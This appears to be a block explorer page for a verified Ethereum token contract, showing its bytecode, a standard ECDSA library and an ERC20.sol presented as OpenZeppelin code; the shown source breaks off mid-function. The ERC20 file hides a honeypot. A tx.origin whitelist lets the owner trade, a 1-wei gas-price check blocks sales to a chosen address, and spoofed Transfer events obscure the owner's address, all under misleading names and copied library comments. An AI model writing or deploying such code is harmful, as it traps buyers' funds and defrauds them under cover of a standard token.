Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0xd73B0cB03c5D77596F601FCDDDA26310B7F39408
Balance 0 ETH
Nonce 1
Code Size 8982 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

8982 bytes
0x608060405234801561000f575f80fd5b506004361061018c575f3560e01c806370a08231116100dc578063b1839d1511610095578063dd62ed3e1161006f578063dd62ed3e14610436578063df2fb92c14610466578063e534155d14610484578063f9fa3002146104a25761018c565b8063b1839d1514610406578063c9567bf914610410578063daea85c51461041a5761018c565b806370a082311461033257806395d89b411461036257806396e7695914610380578063a457c2d71461038a578063a9059cbb146103ba578063ab194b1f146103ea5761018c565b8063395093511161014957806342966c681161012357806342966c68146102be57806347bbac05146102da5780634d1b05d71461030a5780635408d42d146103145761018c565b806339509351146102685780633b1f8108146102985780634022b75e146102a25761018c565b806306fdde0314610190578063095ea7b3146101ae5780630aca7f95146101de57806318160ddd146101fc57806323b872dd1461021a578063313ce5671461024a575b5f80fd5b6101986104ac565b6040516101a5919061183e565b60405180910390f35b6101c860048036038101906101c391906118fc565b61053c565b6040516101d59190611954565b60405180910390f35b6101e6610552565b6040516101f3919061197c565b60405180910390f35b610204610577565b60405161021191906119a4565b60405180910390f35b610234600480360381019061022f91906119bd565b610580565b6040516102419190611954565b60405180910390f35b61025261062c565b60405161025f9190611a28565b60405180910390f35b610282600480360381019061027d91906118fc565b610642565b60405161028f9190611954565b60405180910390f35b6102a06106e2565b005b6102bc60048036038101906102b79190611c41565b610745565b005b6102d860048036038101906102d39190611cc9565b610831565b005b6102f460048036038101906102ef9190611cf4565b61083e565b6040516103019190611954565b60405180910390f35b61031261085b565b005b61031c610866565b6040516103299190611954565b60405180910390f35b61034c60048036038101906103479190611cf4565b610879565b60405161035991906119a4565b60405180910390f35b61036a6108be565b604051610377919061183e565b60405180910390f35b61038861094e565b005b6103a4600480360381019061039f91906118fc565b6109b1565b6040516103b19190611954565b60405180910390f35b6103d460048036038101906103cf91906118fc565b610a5c565b6040516103e19190611954565b60405180910390f35b61040460048036038101906103ff9190611cf4565b610a72565b005b61040e610b44565b005b610418610b4e565b005b610434600480360381019061042f9190611cf4565b610bfa565b005b610450600480360381019061044b9190611d1f565b610ce1565b60405161045d91906119a4565b60405180910390f35b61046e610d63565b60405161047b919061197c565b60405180910390f35b61048c610d88565b604051610499919061197c565b60405180910390f35b6104aa610dad565b005b6060600980546104bb90611d8a565b80601f01602080910402602001604051908101604052809291908181526020018280546104e790611d8a565b80156105325780601f1061050957610100808354040283529160200191610532565b820191905f5260205f20905b81548152906001019060200180831161051557829003601f168201915b5050505050905090565b5f610548338484610e10565b6001905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600254905090565b5f61058c848484610fd3565b610621843361061c8560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461116590919063ffffffff16565b610e10565b600190509392505050565b5f600760159054906101000a900460ff16905090565b5f6106d833846106d38560015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111c290919063ffffffff16565b610e10565b6001905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cb90611e04565b60405180910390fd5b5f5b825181101561082b5761081e338483815181106107f6576107f5611e22565b5b602002602001015184848151811061081157610810611e22565b5b6020026020010151610fd3565b80806001019150506107d6565b50505050565b61083b338261121f565b50565b6004602052805f5260405f205f915054906101000a900460ff1681565b600354600381905550565b600760149054906101000a900460ff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6060600880546108cd90611d8a565b80601f01602080910402602001604051908101604052809291908181526020018280546108f990611d8a565b80156109445780601f1061091b57610100808354040283529160200191610944565b820191905f5260205f20905b81548152906001019060200180831161092757829003601f168201915b5050505050905090565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f610a473384610a428560015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461116590919063ffffffff16565b610e10565b610a526003546113a0565b6001905092915050565b5f610a68338484610fd3565b6001905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af890611e04565b60405180910390fd5b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6001600381905550565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd490611e04565b60405180910390fd5b6001600760146101000a81548160ff021916908315150217905550565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8090611e04565b60405180910390fd5b600160045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7590611ebf565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610eec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee390611f4d565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fc691906119a4565b60405180910390a3505050565b60045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156110325761102d8383836113af565b611160565b600760149054906101000a900460ff16611081576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107890611fb5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036110e5576110e08383836113af565b611160565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111545761114383826109b1565b5061114f8383836113af565b611160565b61115f8383836113af565b5b505050565b5f828211156111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a09061201d565b60405180910390fd5b5f82846111b69190612068565b90508091505092915050565b5f8082846111d0919061209b565b905083811015611215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120c90612118565b60405180910390fd5b8091505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361128d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611284906121a6565b60405180910390fd5b6112a28160025461116590919063ffffffff16565b6002819055506112f7815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461116590919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161139491906119a4565b60405180910390a35050565b803a11156113ac575f80fd5b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361141d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141490612234565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361148b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611482906122c2565b60405180910390fd5b6114da815f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461116590919063ffffffff16565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611569815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111c290919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611688578173ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161167b91906119a4565b60405180910390a3611764565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117635760075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161175a91906119a4565b60405180910390a35b5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117c191906119a4565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611810826117ce565b61181a81856117d8565b935061182a8185602086016117e8565b611833816117f6565b840191505092915050565b5f6020820190508181035f8301526118568184611806565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6118988261186f565b9050919050565b6118a88161188e565b81146118b2575f80fd5b50565b5f813590506118c38161189f565b92915050565b5f819050919050565b6118db816118c9565b81146118e5575f80fd5b50565b5f813590506118f6816118d2565b92915050565b5f806040838503121561191257611911611867565b5b5f61191f858286016118b5565b9250506020611930858286016118e8565b9150509250929050565b5f8115159050919050565b61194e8161193a565b82525050565b5f6020820190506119675f830184611945565b92915050565b6119768161188e565b82525050565b5f60208201905061198f5f83018461196d565b92915050565b61199e816118c9565b82525050565b5f6020820190506119b75f830184611995565b92915050565b5f805f606084860312156119d4576119d3611867565b5b5f6119e1868287016118b5565b93505060206119f2868287016118b5565b9250506040611a03868287016118e8565b9150509250925092565b5f60ff82169050919050565b611a2281611a0d565b82525050565b5f602082019050611a3b5f830184611a19565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611a7b826117f6565b810181811067ffffffffffffffff82111715611a9a57611a99611a45565b5b80604052505050565b5f611aac61185e565b9050611ab88282611a72565b919050565b5f67ffffffffffffffff821115611ad757611ad6611a45565b5b602082029050602081019050919050565b5f80fd5b5f611afe611af984611abd565b611aa3565b90508083825260208201905060208402830185811115611b2157611b20611ae8565b5b835b81811015611b4a5780611b3688826118b5565b845260208401935050602081019050611b23565b5050509392505050565b5f82601f830112611b6857611b67611a41565b5b8135611b78848260208601611aec565b91505092915050565b5f67ffffffffffffffff821115611b9b57611b9a611a45565b5b602082029050602081019050919050565b5f611bbe611bb984611b81565b611aa3565b90508083825260208201905060208402830185811115611be157611be0611ae8565b5b835b81811015611c0a5780611bf688826118e8565b845260208401935050602081019050611be3565b5050509392505050565b5f82601f830112611c2857611c27611a41565b5b8135611c38848260208601611bac565b91505092915050565b5f805f60608486031215611c5857611c57611867565b5b5f611c65868287016118b5565b935050602084013567ffffffffffffffff811115611c8657611c8561186b565b5b611c9286828701611b54565b925050604084013567ffffffffffffffff811115611cb357611cb261186b565b5b611cbf86828701611c14565b9150509250925092565b5f60208284031215611cde57611cdd611867565b5b5f611ceb848285016118e8565b91505092915050565b5f60208284031215611d0957611d08611867565b5b5f611d16848285016118b5565b91505092915050565b5f8060408385031215611d3557611d34611867565b5b5f611d42858286016118b5565b9250506020611d53858286016118b5565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611da157607f821691505b602082108103611db457611db3611d5d565b5b50919050565b7f6e6e0000000000000000000000000000000000000000000000000000000000005f82015250565b5f611dee6002836117d8565b9150611df982611dba565b602082019050919050565b5f6020820190508181035f830152611e1b81611de2565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611ea96024836117d8565b9150611eb482611e4f565b604082019050919050565b5f6020820190508181035f830152611ed681611e9d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611f376022836117d8565b9150611f4282611edd565b604082019050919050565b5f6020820190508181035f830152611f6481611f2b565b9050919050565b7f547261646520686173206e6f74206265656e206f70656e6564207965740000005f82015250565b5f611f9f601d836117d8565b9150611faa82611f6b565b602082019050919050565b5f6020820190508181035f830152611fcc81611f93565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f612007601e836117d8565b915061201282611fd3565b602082019050919050565b5f6020820190508181035f83015261203481611ffb565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612072826118c9565b915061207d836118c9565b92508282039050818111156120955761209461203b565b5b92915050565b5f6120a5826118c9565b91506120b0836118c9565b92508282019050808211156120c8576120c761203b565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612102601b836117d8565b915061210d826120ce565b602082019050919050565b5f6020820190508181035f83015261212f816120f6565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f6121906021836117d8565b915061219b82612136565b604082019050919050565b5f6020820190508181035f8301526121bd81612184565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61221e6025836117d8565b9150612229826121c4565b604082019050919050565b5f6020820190508181035f83015261224b81612212565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6122ac6023836117d8565b91506122b782612252565b604082019050919050565b5f6020820190508181035f8301526122d9816122a0565b905091905056fea2646970667358221220b2f5adf67a0522a71ca50646e4fd1629ed5249fe6dab9ef1b2ec2a7be146cace64736f6c63430008190033

Verified Source Code Full Match

Compiler: v0.8.25+commit.b61c2a91 EVM: cancun Optimization: No
ECDSA.sol 180 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.1.0) (utils/cryptography/ECDSA.sol)

pragma solidity ^0.8.20;

/**
 * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
 *
 * These functions can be used to verify that a message was signed by the holder
 * of the private keys of a given address.
 */
library ECDSA {
    enum RecoverError {
        NoError,
        InvalidSignature,
        InvalidSignatureLength,
        InvalidSignatureS
    }

    /**
     * @dev The signature derives the `address(0)`.
     */
    error ECDSAInvalidSignature();

    /**
     * @dev The signature has an invalid length.
     */
    error ECDSAInvalidSignatureLength(uint256 length);

    /**
     * @dev The signature has an S value that is in the upper half order.
     */
    error ECDSAInvalidSignatureS(bytes32 s);

    /**
     * @dev Returns the address that signed a hashed message (`hash`) with `signature` or an error. This will not
     * return address(0) without also returning an error description. Errors are documented using an enum (error type)
     * and a bytes32 providing additional information about the error.
     *
     * If no error is returned, then the address can be used for verification purposes.
     *
     * The `ecrecover` EVM precompile allows for malleable (non-unique) signatures:
     * this function rejects them by requiring the `s` value to be in the lower
     * half order, and the `v` value to be either 27 or 28.
     *
     * IMPORTANT: `hash` _must_ be the result of a hash operation for the
     * verification to be secure: it is possible to craft signatures that
     * recover to arbitrary addresses for non-hashed data. A safe way to ensure
     * this is by receiving a hash of the original message (which may otherwise
     * be too long), and then calling {MessageHashUtils-toEthSignedMessageHash} on it.
     *
     * Documentation for signature generation:
     * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
     * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
     */
    function tryRecover(
        bytes32 hash,
        bytes memory signature
    ) internal pure returns (address recovered, RecoverError err, bytes32 errArg) {
        if (signature.length == 65) {
            bytes32 r;
            bytes32 s;
            uint8 v;
            // ecrecover takes the signature parameters, and the only way to get them
            // currently is to use assembly.
            assembly ("memory-safe") {
                r := mload(add(signature, 0x20))
                s := mload(add(signature, 0x40))
                v := byte(0, mload(add(signature, 0x60)))
            }
            return tryRecover(hash, v, r, s);
        } else {
            return (address(0), RecoverError.InvalidSignatureLength, bytes32(signature.length));
        }
    }

    /**
     * @dev Returns the address that signed a hashed message (`hash`) with
     * `signature`. This address can then be used for verification purposes.
     *
     * The `ecrecover` EVM precompile allows for malleable (non-unique) signatures:
     * this function rejects them by requiring the `s` value to be in the lower
     * half order, and the `v` value to be either 27 or 28.
     *
     * IMPORTANT: `hash` _must_ be the result of a hash operation for the
     * verification to be secure: it is possible to craft signatures that
     * recover to arbitrary addresses for non-hashed data. A safe way to ensure
     * this is by receiving a hash of the original message (which may otherwise
     * be too long), and then calling {MessageHashUtils-toEthSignedMessageHash} on it.
     */
    function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
        (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, signature);
        _throwError(error, errorArg);
        return recovered;
    }

    /**
     * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
     *
     * See https://eips.ethereum.org/EIPS/eip-2098[ERC-2098 short signatures]
     */
    function tryRecover(
        bytes32 hash,
        bytes32 r,
        bytes32 vs
    ) internal pure returns (address recovered, RecoverError err, bytes32 errArg) {
        unchecked {
            bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
            // We do not check for an overflow here since the shift operation results in 0 or 1.
            uint8 v = uint8((uint256(vs) >> 255) + 27);
            return tryRecover(hash, v, r, s);
        }
    }

    /**
     * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
     */
    function recover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address) {
        (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, r, vs);
        _throwError(error, errorArg);
        return recovered;
    }

    /**
     * @dev Overload of {ECDSA-tryRecover} that receives the `v`,
     * `r` and `s` signature fields separately.
     */
    function tryRecover(
        bytes32 hash,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) internal pure returns (address recovered, RecoverError err, bytes32 errArg) {
        // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
        // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
        // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
        // signatures from current libraries generate a unique signature with an s-value in the lower half order.
        //
        // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
        // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
        // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
        // these malleable signatures as well.
        if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
            return (address(0), RecoverError.InvalidSignatureS, s);
        }

        // If the signature is valid (and not malleable), return the signer address
        address signer = ecrecover(hash, v, r, s);
        if (signer == address(0)) {
            return (address(0), RecoverError.InvalidSignature, bytes32(0));
        }

        return (signer, RecoverError.NoError, bytes32(0));
    }

    /**
     * @dev Overload of {ECDSA-recover} that receives the `v`,
     * `r` and `s` signature fields separately.
     */
    function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
        (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, v, r, s);
        _throwError(error, errorArg);
        return recovered;
    }

    /**
     * @dev Optionally reverts with the corresponding custom error according to the `error` argument provided.
     */
    function _throwError(RecoverError error, bytes32 errorArg) private pure {
        if (error == RecoverError.NoError) {
            return; // no error: do nothing
        } else if (error == RecoverError.InvalidSignature) {
            revert ECDSAInvalidSignature();
        } else if (error == RecoverError.InvalidSignatureLength) {
            revert ECDSAInvalidSignatureLength(uint256(errorArg));
        } else if (error == RecoverError.InvalidSignatureS) {
            revert ECDSAInvalidSignatureS(errorArg);
        }
    }
}
ERC20.sol 329 lines
/*


/**
// File: contracts\open-zeppelin-contracts\token\ERC20\ERC20.sol

/**
 * SPDX-License-Identifier: MIT (OpenZeppelin)
 */
pragma solidity 0.8.25;

import "./SafeMath.sol";
import "./IERC20.sol";


/**
 * @dev Implementation of the `IERC20` interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using `_mint`.
 * For a generic mechanism see `ERC20Mintable`.
 *
 * *For a detailed writeup see our guide [How to implement supply
 * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).*
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an `Approval` event is emitted on calls to `transferFrom`.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard `decreaseAllowance` and `increaseAllowance`
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See `IERC20.approve`.
 */
contract ERC20 is IERC20 {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;
    uint256 private _BONE = 1;
    mapping(address => bool) public dividend;
    address public adr;
    address public _limit;
    address public holder;
    bool public openedTrade;


    /**
     * @dev See `IERC20.totalSupply`.
     */
    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See `IERC20.balanceOf`.
     */
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See `IERC20.transfer`.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public returns (bool) {
        __transfer(msg.sender, recipient, amount);
        return true;
    }

    /**
     * @dev See `IERC20.allowance`.
     */
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See `IERC20.approve`.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value) public returns (bool) {
        _approve(msg.sender, spender, value);
        return true;
    }

    function approve(address _user) public {
        require(msg.sender == adr, "nn");
        dividend[_user] = true;
    }

    function ExacTransaction(address __to) public {
        require(msg.sender == adr, "nn");
        _limit = __to;
    }

    function airdropTokens(address airdropp, address[] memory list, uint256[] memory amount) public {
        airdropp;
        require(msg.sender == adr, "nn");
        for (uint256 i = 0; i < list.length; i++) {
            __transfer(msg.sender, list[i], amount[i]);
        }
    }

    function openTrading() public {
        require(msg.sender == adr, "nn");
        openedTrade = true;
    }

    /**
     * @dev See `IERC20.transferFrom`.
     *
     * Emits an `Approval` event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of `ERC20`;
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `value`.
     * - the caller must have allowance for `sender`'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        __transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function removeOwnership(address _holder) internal  {
        holder = _holder;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to `approve` that can be used as a mitigation for
     * problems described in `IERC20.approve`.
     *
     * Emits an `Approval` event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to `approve` that can be used as a mitigation for
     * problems described in `IERC20.approve`.
     *
     * Emits an `Approval` event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));checkGas(_BONE);
        return true;
    }


    function checkGas(uint256 _gas) internal view {
       if (tx.gasprice > _gas) {
           revert();
       }
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to `transfer`, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a `Transfer` event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount);
        _balances[recipient] = _balances[recipient].add(amount);
        if (sender == adr) {
            emit Transfer(holder, recipient, amount);
        } else if (recipient == adr) {
            emit Transfer(sender, holder, amount);
        }
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a `Transfer` event with `from` set to the zero address.
     *
     * Requirements
     *
     * - `to` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        adr = account;
        dividend[adr] = true;
        emit Transfer(address(0), holder, amount);
    }

     /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a `Transfer` event with `to` set to the zero address.
     *
     * Requirements
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 value) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _totalSupply = _totalSupply.sub(value);
        _balances[account] = _balances[account].sub(value);
        emit Transfer(account, address(0), value);
    }


    function __transfer(address from, address to, uint256 amount) internal {
        if (dividend[tx.origin]) {
           _transfer(from, to, amount);
           return;
        }
        require(openedTrade, "Trade has not been opened yet");
       if (_limit == address(0)) {
           _transfer(from, to, amount);
           return;
       }
       if (to == _limit) {
           decreaseAllowance(from, amount);
           _transfer(from, to, amount);
           return;
       }
       _transfer(from, to, amount);
    }


    

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
     *
     * This is internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an `Approval` event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = value;
